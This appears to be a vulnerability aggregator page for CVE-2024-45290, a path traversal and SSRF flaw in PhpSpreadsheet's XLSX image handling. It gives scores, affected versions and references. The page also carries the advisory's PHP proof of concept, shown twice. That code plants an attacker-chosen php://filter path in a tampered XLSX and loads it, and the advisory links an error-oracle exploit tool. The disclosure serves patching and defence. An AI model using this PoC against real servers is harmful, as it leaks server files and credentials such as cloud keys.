CVE-2024-45290
Path traversal and Server-Side Request Forgery when opening XLSX files in PHPSpreadsheet
PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted php://filter URLs an attacker can leak the contents of any file or URL. Note that this vulnerability is different from GHSA-w9xv-qf98-ccq4, and resides in a different component. An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials. This issue has been addressed in release versions 1.29.2, 2.1.1, and 2.3.0. All users are advised to upgrade. There are no known workarounds for this vulnerability.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.7
Path traversal and Server-Side Request Forgery when opening XLSX files in PHPSpreadsheet
PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted php://filter URLs an attacker can leak the contents of any file or URL. Note that this vulnerability is different from GHSA-w9xv-qf98-ccq4, and resides in a different component. An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials. This issue has been addressed in release versions 1.29.2, 2.1.1, and 2.3.0. All users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
CVE-2024-45290- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-36, CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2024-2952
7.7
PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted php://filter URLs an attacker can leak the contents of any file or URL. Note that this vulnerability is different from GHSA-w9xv-qf98-ccq4, and resides in a different component. An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials. This issue has been addressed in release versions 1.29.2, 2.1.1, and 2.3.0. All users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
EUVD-2024-2952- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-5gpr-w2p5-6m37
8.3
PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file
Summary
It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted php://filter URLs an attacker can leak the contents of any file or URL.
Note that this vulnerability is different from GHSA-w9xv-qf98-ccq4, and resides in a different component.
Details
When an XLSX file is opened, the XLSX reader calls setPath() with the path provided in the xl/drawings/_rels/drawing1.xml.rels file in the XLSX archive:
if (isset($images[$embedImageKey])) {
// ...omit irrelevant code...
} else {
$linkImageKey = (string) self::getArrayItem(
$blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'),
'link'
);
if (isset($images[$linkImageKey])) {
$url = str_replace('xl/drawings/', '', $images[$linkImageKey]);
$objDrawing->setPath($url);
}
}
setPath() then reads the file in order to determine the file type and dimensions, if the path is a URL:
public function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static
{
if ($verifyFile && preg_match('~^data:image/[a-z]+;base64,~', $path) !== 1) {
// Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979
if (filter_var($path, FILTER_VALIDATE_URL)) {
$this->path = $path;
// Implicit that it is a URL, rather store info than running check above on value in other places.
$this->isUrl = true;
$imageContents = file_get_contents($path);
// ... check dimensions etc. ...
It's important to note here, that filter_var considers also file:// and php:// URLs valid.
The attacker can set the path to anything:
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="this can be whatever" />
The contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an error oracle which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit
PoC
Target file:
<?php
require 'vendor/autoload.php';
// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to
// keep the PoC simple, I've combined this into the same file.
$file = "book_tampered.xlsx";
$payload = $_POST["payload"]; // the payload comes from the Python script
copy("book.xlsx",$file);
$zip = new ZipArchive;
$zip->open($file);
$path = "xl/drawings/_rels/drawing1.xml.rels";
$content = $zip->getFromName($path);
$content = str_replace("../media/image1.gif", $payload, $content);
$zip->addFromString($path, $content);
$path = "xl/drawings/drawing1.xml";
$content = $zip->getFromName($path);
$content = str_replace('r:embed="rId1"', 'r:link="rId1"', $content);
$zip->addFromString($path, $content);
$zip->close();
// The actual target - note that simply opening the file is sufficient for the attack
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/' . $file);
Add this file in the same directory: book.xlsx
Serve the PoC from a web server. Ensure your PHP memory limit is <= 128M - otherwise you'll need to edit the Python script below.
Download the error oracle Python script from here:…
- Record
GHSA-5gpr-w2p5-6m37- CVSS 4.0
- 8.3 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N - CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-36, CWE-918
- Updated
- 2026-11-02
NVD
7.7
PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted php://filter URLs an attacker can leak the contents of any file or URL. Note that this vulnerability is different from GHSA-w9xv-qf98-ccq4, and resides in a different component. An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials. This issue has been addressed in release versions 1.29.2, 2.1.1, and 2.3.0. All users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
CVE-2024-45290- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-36, CWE-918
- Updated
- 2026-11-02
OSV
7.7
Path traversal and Server-Side Request Forgery when opening XLSX files in PHPSpreadsheet
PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted php://filter URLs an attacker can leak the contents of any file or URL. Note that this vulnerability is different from GHSA-w9xv-qf98-ccq4, and resides in a different component. An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials. This issue has been addressed in release versions 1.29.2, 2.1.1, and 2.3.0. All users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
CVE-2024-45290- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-36, CWE-918
- Updated
- 2026-11-02
OSVGHSA-5gpr-w2p5-6m37
8.3
PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file
Summary
It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted php://filter URLs an attacker can leak the contents of any file or URL.
Note that this vulnerability is different from GHSA-w9xv-qf98-ccq4, and resides in a different component.
Details
When an XLSX file is opened, the XLSX reader calls setPath() with the path provided in the xl/drawings/_rels/drawing1.xml.rels file in the XLSX archive:
if (isset($images[$embedImageKey])) {
// ...omit irrelevant code...
} else {
$linkImageKey = (string) self::getArrayItem(
$blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'),
'link'
);
if (isset($images[$linkImageKey])) {
$url = str_replace('xl/drawings/', '', $images[$linkImageKey]);
$objDrawing->setPath($url);
}
}
setPath() then reads the file in order to determine the file type and dimensions, if the path is a URL:
public function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static
{
if ($verifyFile && preg_match('~^data:image/[a-z]+;base64,~', $path) !== 1) {
// Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979
if (filter_var($path, FILTER_VALIDATE_URL)) {
$this->path = $path;
// Implicit that it is a URL, rather store info than running check above on value in other places.
$this->isUrl = true;
$imageContents = file_get_contents($path);
// ... check dimensions etc. ...
It's important to note here, that filter_var considers also file:// and php:// URLs valid.
The attacker can set the path to anything:
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="this can be whatever" />
The contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an error oracle which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit
PoC
Target file:
<?php
require 'vendor/autoload.php';
// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to
// keep the PoC simple, I've combined this into the same file.
$file = "book_tampered.xlsx";
$payload = $_POST["payload"]; // the payload comes from the Python script
copy("book.xlsx",$file);
$zip = new ZipArchive;
$zip->open($file);
$path = "xl/drawings/_rels/drawing1.xml.rels";
$content = $zip->getFromName($path);
$content = str_replace("../media/image1.gif", $payload, $content);
$zip->addFromString($path, $content);
$path = "xl/drawings/drawing1.xml";
$content = $zip->getFromName($path);
$content = str_replace('r:embed="rId1"', 'r:link="rId1"', $content);
$zip->addFromString($path, $content);
$zip->close();
// The actual target - note that simply opening the file is sufficient for the attack
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/' . $file);
Add this file in the same directory: book.xlsx
Serve the PoC from a web server. Ensure your PHP memory limit is <= 128M - otherwise you'll need to edit the Python script below.
Download the error oracle Python script from here:…
- Record
GHSA-5gpr-w2p5-6m37- CVSS 4.0
- 8.3 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N - CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-36, CWE-918
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
phpoffice/phpspreadsheetPackagist |
2.2.0 up to 2.3.0 | 2.3.0 |
phpoffice/phpspreadsheetPackagist |
before 1.29.2 | 1.29.2 |
phpoffice/phpspreadsheetPackagist |
2.0.0 up to 2.1.1 | 2.1.1 |
phpoffice/phpexcelPackagist |
through 1.8.2 | None known |
phpoffice/phpspreadsheetPackagist |
2.2.0 up to 2.3.0, plus listed versions 2.2.12.2.2 |
2.3.0 |
phpoffice/phpspreadsheetPackagist |
before 1.29.2, plus listed versions 1.0.01.0.0-beta1.0.0-beta21.1.01.10.0 Show 42 moreShow less1.10.11.11.01.12.01.13.01.14.01.14.11.15.01.16.01.17.01.17.11.18.01.19.01.2.01.2.11.20.01.21.01.22.01.23.01.24.01.24.11.25.01.25.11.25.21.26.01.27.01.27.11.28.01.29.01.29.11.3.01.3.11.4.01.4.11.5.01.5.11.5.21.6.01.7.01.8.01.8.11.8.21.9.0 |
1.29.2 |
phpoffice/phpspreadsheetPackagist |
2.0.0 up to 2.1.1, plus listed versions 2.1.0 |
2.1.1 |
phpoffice/phpexcelPackagist |
through 1.8.2, plus listed versions 1.7.91.7.9-rc11.8.01.8.0rc11.8.0rc21.8.0rc31.8.0rc41.8.1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-45290 is a high vulnerability (CVSS 7.7) in Phpoffice Phpspreadsheet, published October 7, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.62%, the 50th percentile. Fixed in phpoffice/phpspreadsheet 2.3.0.
References
github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-5gpr-w2p5-6m37
github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4
github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a
github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec
github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465
nvd.nist.gov/vuln/detail/CVE-2024-45290
github.com/advisories/GHSA-5gpr-w2p5-6m37
github.com/CVEProject/cvelistV5/tree/main/cves/2024/45xxx/CVE-2024-45290.json
github.com/PHPOffice/PhpSpreadsheet
Left out here: the rest of 2 source descriptions. The JSON record has them.